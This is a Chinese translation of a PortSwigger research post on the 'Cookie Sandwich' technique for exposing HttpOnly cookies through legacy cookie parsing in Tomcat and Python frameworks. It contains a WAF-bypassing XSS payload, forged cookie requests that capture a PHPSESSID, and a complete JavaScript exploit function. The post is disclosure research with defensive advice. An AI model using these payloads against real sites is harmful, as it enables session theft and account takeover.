利用Cookie Sandwich技术窃取HttpOnly Cookie | PortSwigger研究

本文详细介绍了"Cookie Sandwich"技术如何绕过HttpOnly标志窃取敏感Cookie,包括技术原理、实际攻击案例以及防御建议,涉及Apache Tomcat和Python框架的Cookie解析差异。

在这篇文章中,我将介绍"Cookie Sandwich"技术,该技术可让您在特定服务器上绕过HttpOnly标志。这项研究是继《使用幻影$Version Cookie绕过WAF》之后的延续。细心的读者可能已经注意到,传统Cookie允许在Cookie值中包含特殊字符。本文将利用这一特性进行攻击。

该技术通过操纵Web服务器解析和处理包含特殊字符的Cookie的方式。通过巧妙放置引号和传统Cookie,攻击者可以使服务器误解Cookie头的结构,从而可能将HttpOnly Cookie暴露给客户端脚本。

工作原理

由于Chrome浏览器不支持传统Cookie,它允许攻击者从JavaScript创建以$开头的Cookie名称(如$Version)。此外,引号可以放置在任何Cookie值中。以下代码演示如何创建Cookie Sandwich来窃取受限制的Cookie值:

1
2
3
4
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// 三明治内的任何Cookie都会被服务器端放入param1值
document.cookie = `param2=end";`;

请求/响应中的Cookie头可能显示为:

1
2
3
4
5
6
7
GET / HTTP/1.1
Cookie: $Version=1; param1="start; sessionId=secret; param2=end"

=>

HTTP/1.1 200 OK
Set-Cookie: param1="start; sessionId=secret; param2=end";

关于Apache Tomcat如何处理Cookie头的提醒:

  1. 解析器同时处理RFC6265和RFC2109标准,如果字符串以特殊$Version属性开头,则默认使用传统解析逻辑
  2. 如果Cookie值以双引号开头,它将持续读取直到下一个未转义的双引号字符
  3. 它还会对任何以反斜杠()开头的字符进行转义

如果应用程序不正确地反映了param1 Cookie的响应或没有HttpOnly属性,整个Cookie字符串(包括浏览器在param1和param2之间发送的任何HttpOnly会话Cookie)都可能被暴露。

Python框架默认支持带引号的字符串,不需要特殊的$Version属性。这些框架还将分号识别为浏览器的Cookie对分隔符,自动将所有特殊字符编码为四字符序列:一个正斜杠后跟该字符的三位八进制等效值。针对Flask应用程序的"Cookie Sandwich"攻击可能如下所示:

1
2
3
4
5
6
7
GET / HTTP/1.1
Cookie: param1="start; sessionId=secret; param2=end"

=>

HTTP/1.1 200 OK
Set-Cookie: param1="start\073 sessionId=secret\073 param2=end";

实际案例

分析工具通常使用Cookie或URL参数来跟踪用户行为,很少验证跟踪ID。这使它们成为Cookie Sandwich攻击的完美目标。通常,当用户首次访问网站时,服务器会创建一个随机字符串visitorId并将其存储在Cookie中。然后这个visitorId会显示在网页上用于分析:

1
2
3
<script>
{"visitorId":"deadbeef"}
</script>

这种情况造成了漏洞。如果攻击者能够访问网页内容(可能是通过带有凭据的CORS请求或同源XSS攻击),他们可以绕过HttpOnly Cookie标志,暴露敏感用户信息。

在最近的测试中,我遇到了一个易受攻击的应用程序,其错误页面上存在反射型XSS漏洞。以下是我如何利用它来窃取HttpOnly PHPSESSID Cookie的过程。这个过程涉及绕过一些安全控制并利用一个被忽视的跟踪域漏洞。

第一步:识别XSS漏洞

易受攻击的应用程序在没有适当转义的情况下反映了某些链接和元属性。这使我能够注入JavaScript代码,因为服务器没有正确清理用户输入。虽然部署了AWS WAF,但由于未修补的oncontentvisibilityautostatechange事件,它可以被绕过。感谢@garethheyes帮助我完成这个技巧:

1
<link rel="canonical"oncontentvisibilityautostatechange="alert(1)"style="content-visibility:auto">

第二步:找到暴露的Cookie参数

确认可以在页面上运行自定义JavaScript后,我的下一个目标是找到与域关联的HttpOnly Cookie。最初,我没有找到任何可直接访问的分析JavaScript,但我发现了一个跟踪域,它在JSON响应体中反映了会话ID参数。此跟踪端点接受URL中的会话参数,如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
GET /json?session=ignored HTTP/1.1
Host: tracking.example.com
Origin: https://www.example.com
Referer: https://www.example.com/
Cookie:  session=deadbeef;

HTTP/2 200 OK
Content-Type: application/json;charset=UTF-8
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
{"session":"deadbeef"}

这个网站非常适合用于我们的攻击,因为它:

  • 在响应体中反映Cookie值
  • 允许来自易受攻击域的跨源请求

第三步:利用Cookie降级进行窃取

这个跟踪应用程序有一个有趣的行为:虽然会话URL查询参数是必需的,但服务器会用Cookie头中的值覆盖它。由于后端运行在Apache Tomcat上,我利用幻影$Version Cookie切换到RFC2109并执行Cookie Sandwich攻击。然而,一个关键挑战仍然存在:控制客户端请求中Cookie的顺序。要使$Version Cookie首先发送,它必须要么更早创建,要么具有比所有其他Cookie更长的path属性。虽然我们无法控制受害者Cookie的创建时间,但我们可以操纵path属性。在本例中,选择的路径是/json。

通过使用精心制作的Cookie头,我可以操纵Cookie的顺序,并利用反射漏洞捕获HttpOnly PHPSESSID Cookie。以下是我使用的恶意请求示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
GET /json?session=ignored
Host: tracking.example.com
Origin: https://www.example.com
Referer: https://www.example.com/
Cookie: $Version=1; session="deadbeef; PHPSESSID=secret; dummy=qaz"

HTTP/2 200 OK
Content-Type: application/json;charset=UTF-8
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
{"session":"deadbeef; PHPSESSID=secret; dummy=qaz"}

第四步:整合所有步骤

总结一下攻击过程:

  1. 用户访问包含oncontentvisibilityautostatechange XSS负载的页面
  2. 注入的JavaScript设置Cookie $Version=1和session=“deadbeef”,两个Cookie都有Path值/json以更改Cookie顺序
  3. 脚本最后添加Cookie dummy=qaz"
  4. 脚本然后向跟踪应用程序端点发出CORS请求,该端点会在JSON响应中反映被操纵的PHPSESSID Cookie

最终利用代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
async function sandwich(target, cookie) {
    // 第一步:创建带有目标src的iframe并等待
    const iframe = document.createElement('iframe');
    const url = new URL(target);
    const domain = url.hostname;
    const path = url.pathname;

    iframe.src = target;
    // 隐藏iframe
    iframe.style.display = 'none';
    document.body.appendChild(iframe);
    
    iframe.onload = async () => {
        // 第二步:创建Cookie工具
        document.cookie = `$Version=1; domain=${domain}; path=${path};`;
        document.cookie = `${cookie}="deadbeef; domain=${domain}; path=${path};`;
        document.cookie = `dummy=qaz"; domain=${domain}; path=/;`;
        
        // 第三步:发送fetch请求
        try {
            const response = await fetch(`${target}`, {
                credentials: 'include',
            });
            const responseData = await response.text();
            // 第四步:警报响应
            alert(responseData);
        } catch (error) {
            console.error('Error fetching data:', error);
        }
    };
}

setTimeout(sandwich, 100, 'http://example.com/json', 'session');

通过这种方法,我可以从JSON响应中获取其他用户的会话Cookie,利用XSS、Cookie操纵和跟踪应用程序的漏洞。

建议

Cookie安全对于保护Web应用程序免受多种攻击至关重要。密切关注Cookie编码和解析行为。重要的是要理解您使用的框架和浏览器如何处理Cookie。请注意,默认情况下Apache Tomcat 8.5.x、9.0.x和10.0.x版本支持RFC2109。

想了解更多?

请务必查看我们之前的博客文章《使用幻影$Version Cookie绕过WAF》。

要获取我们最新的博客文章和安全见解,请在X(前Twitter)和Bluesky上关注我们,并加入官方PortSwigger Discord。

如需更深入的见解,我强烈推荐Ankur Sundara的博客文章《Cookie Bugs - Smuggling & Injection》。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计